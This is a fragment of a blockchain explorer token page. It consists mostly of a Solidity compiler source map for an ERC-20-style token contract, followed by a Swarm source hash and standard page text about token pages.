:0;8830:104::-;8886:13;8919:7;8912:14;;;;;:::i;14030:191::-;-1:-1:-1;;;;;9260:18:0;;14111:4;9260:18;;;;;;;;;;;14132:25;14142:5;14149:7;14132:9;:25::i;:::-;:45;14128:62;;-1:-1:-1;14186:4:0;14179:11;;14128:62;-1:-1:-1;14208:5:0;14030:191;;;;:::o;10380:436::-;10473:4;6215:10;10473:4;10556:25;6215:10;10573:7;10556:9;:25::i;:::-;10529:52;;10620:15;10600:16;:35;;10592:85;;;;-1:-1:-1;;;10592:85:0;;3650:2:1;10592:85:0;;;3632:21:1;3689:2;3669:18;;;3662:30;3728:34;3708:18;;;3701:62;-1:-1:-1;;;3779:18:1;;;3772:35;3824:19;;10592:85:0;;;;;;;;;10713:60;10722:5;10729:7;10757:15;10738:16;:34;10713:8;:60::i;:::-;-1:-1:-1;10804:4:0;;10380:436;-1:-1:-1;;;;10380:436:0:o;9294:193::-;9373:4;6215:10;9429:28;6215:10;9446:2;9450:6;9429:9;:28::i;14229:105::-;6621:13;:11;:13::i;:::-;6735:6;;14278:48:::1;::::0;-1:-1:-1;;;;;6735:6:0;;;;14304:21:::1;14278:48:::0;::::1;;;::::0;::::1;::::0;;;14304:21;6735:6;14278:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;9495:151:::0;-1:-1:-1;;;;;9611:18:0;;;9584:7;9611:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9495:151::o;7008:201::-;6621:13;:11;:13::i;:::-;-1:-1:-1;;;;;7097:22:0;::::1;7089:73;;;::::0;-1:-1:-1;;;7089:73:0;;4056:2:1;7089:73:0::1;::::0;::::1;4038:21:1::0;4095:2;4075:18;;;4068:30;4134:34;4114:18;;;4107:62;-1:-1:-1;;;4185:18:1;;;4178:36;4231:19;;7089:73:0::1;3854:402:1::0;7089:73:0::1;7173:28;7192:8;7173:18;:28::i;6757:132::-:0;6735:6;;-1:-1:-1;;;;;6735:6:0;6215:10;6821:23;6813:68;;;;-1:-1:-1;;;6813:68:0;;4463:2:1;6813:68:0;;;4445:21:1;;;4482:18;;;4475:30;4541:34;4521:18;;;4514:62;4593:18;;6813:68:0;4261:356:1;5145:98:0;5203:7;5230:5;5234:1;5230;:5;:::i;:::-;5223:12;5145:98;-1:-1:-1;;;5145:98:0:o;14776:175::-;14921:10;;-1:-1:-1;;;;;14921:10:0;14911:9;:21;;;;;;;;;;:32;;14936:7;;14911:9;:32;;14936:7;;14911:32;:::i;:::-;;;;-1:-1:-1;;;14776:175:0:o;12712:346::-;-1:-1:-1;;;;;12814:19:0;;12806:68;;;;-1:-1:-1;;;12806:68:0;;4997:2:1;12806:68:0;;;4979:21:1;5036:2;5016:18;;;5009:30;5075:34;5055:18;;;5048:62;-1:-1:-1;;;5126:18:1;;;5119:34;5170:19;;12806:68:0;4795:400:1;12806:68:0;-1:-1:-1;;;;;12893:21:0;;12885:68;;;;-1:-1:-1;;;12885:68:0;;5402:2:1;12885:68:0;;;5384:21:1;5441:2;5421:18;;;5414:30;5480:34;5460:18;;;5453:62;-1:-1:-1;;;5531:18:1;;;5524:32;5573:19;;12885:68:0;5200:398:1;12885:68:0;-1:-1:-1;;;;;12966:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;13018:32;;1576:25:1;;;13018:32:0;;1549:18:1;13018:32:0;;;;;;;12712:346;;;:::o;10824:641::-;-1:-1:-1;;;;;10921:18:0;;10913:68;;;;-1:-1:-1;;;10913:68:0;;5805:2:1;10913:68:0;;;5787:21:1;5844:2;5824:18;;;5817:30;5883:34;5863:18;;;5856:62;-1:-1:-1;;;5934:18:1;;;5927:35;5979:19;;10913:68:0;5603:401:1;10913:68:0;-1:-1:-1;;;;;11000:16:0;;10992:64;;;;-1:-1:-1;;;10992:64:0;;6211:2:1;10992:64:0;;;6193:21:1;6250:2;6230:18;;;6223:30;6289:34;6269:18;;;6262:62;-1:-1:-1;;;6340:18:1;;;6333:33;6383:19;;10992:64:0;6009:399:1;10992:64:0;-1:-1:-1;;;;;11142:15:0;;11120:19;11142:15;;;;;;;;;;;11176:21;;;;11168:72;;;;-1:-1:-1;;;11168:72:0;;6615:2:1;11168:72:0;;;6597:21:1;6654:2;6634:18;;;6627:30;6693:34;6673:18;;;6666:62;-1:-1:-1;;;6744:18:1;;;6737:36;6790:19;;11168:72:0;6413:402:1;11168:72:0;-1:-1:-1;;;;;11276:15:0;;;:9;:15;;;;;;;;;;;11294:20;;;11276:38;;11329:13;;;;;;;;;;:23;;;;;;11381:26;;1576:25:1;;;11329:13:0;;11381:26;;1549:18:1;11381:26:0;;;;;;;10902:563;10824:641;;;:::o;5463:206::-;5549:7;5610:12;5602:6;;;;5594:29;;;;-1:-1:-1;;;5594:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;5645:5:0;;;5463:206::o;7217:191::-;7310:6;;;-1:-1:-1;;;;;7327:17:0;;;-1:-1:-1;;;;;;7327:17:0;;;;;;;7360:40;;7310:6;;;7327:17;7310:6;;7360:40;;7291:16;;7360:40;7280:128;7217:191;:::o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:180::-;675:6;728:2;716:9;707:7;703:23;699:32;696:52;;;744:1;741;734:12;696:52;-1:-1:-1;767:23:1;;616:180;-1:-1:-1;616:180:1:o;801:173::-;869:20;;-1:-1:-1;;;;;918:31:1;;908:42;;898:70;;964:1;961;954:12;898:70;801:173;;;:::o;979:254::-;1047:6;1055;1108:2;1096:9;1087:7;1083:23;1079:32;1076:52;;;1124:1;1121;1114:12;1076:52;1147:29;1166:9;1147:29;:::i;:::-;1137:39;1223:2;1208:18;;;;1195:32;;-1:-1:-1;;;979:254:1:o;1612:328::-;1689:6;1697;1705;1758:2;1746:9;1737:7;1733:23;1729:32;1726:52;;;1774:1;1771;1764:12;1726:52;1797:29;1816:9;1797:29;:::i;:::-;1787:39;;1845:38;1879:2;1868:9;1864:18;1845:38;:::i;:::-;1835:48;;1930:2;1919:9;1915:18;1902:32;1892:42;;1612:328;;;;;:::o;2134:186::-;2193:6;2246:2;2234:9;2225:7;2221:23;2217:32;2214:52;;;2262:1;2259;2252:12;2214:52;2285:29;2304:9;2285:29;:::i;2533:260::-;2601:6;2609;2662:2;2650:9;2641:7;2637:23;2633:32;2630:52;;;2678:1;2675;2668:12;2630:52;2701:29;2720:9;2701:29;:::i;:::-;2691:39;;2749:38;2783:2;2772:9;2768:18;2749:38;:::i;:::-;2739:48;;2533:260;;;;;:::o;2798:380::-;2877:1;2873:12;;;;2920;;;2941:61;;2995:4;2987:6;2983:17;2973:27;;2941:61;3048:2;3040:6;3037:14;3017:18;3014:38;3011:161;;;3094:10;3089:3;3085:20;3082:1;3075:31;3129:4;3126:1;3119:15;3157:4;3154:1;3147:15;3011:161;;2798:380;;;:::o;3183:127::-;3244:10;3239:3;3235:20;3232:1;3225:31;3275:4;3272:1;3265:15;3299:4;3296:1;3289:15;3315:128;3355:3;3386:1;3382:6;3379:1;3376:13;3373:39;;;3392:18;;:::i;:::-;-1:-1:-1;3428:9:1;;3315:128::o;4622:168::-;4662:7;4728:1;4724;4720:6;4716:14;4713:1;4710:21;4705:1;4698:9;4691:17;4687:45;4684:71;;;4735:18;;:::i;:::-;-1:-1:-1;4775:9:1;;4622:168::o
Swarm Source
ipfs://ad99ef21912d36e87ac76aa625b8e46773525acf48c75b851aba43b1c2c59c0f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.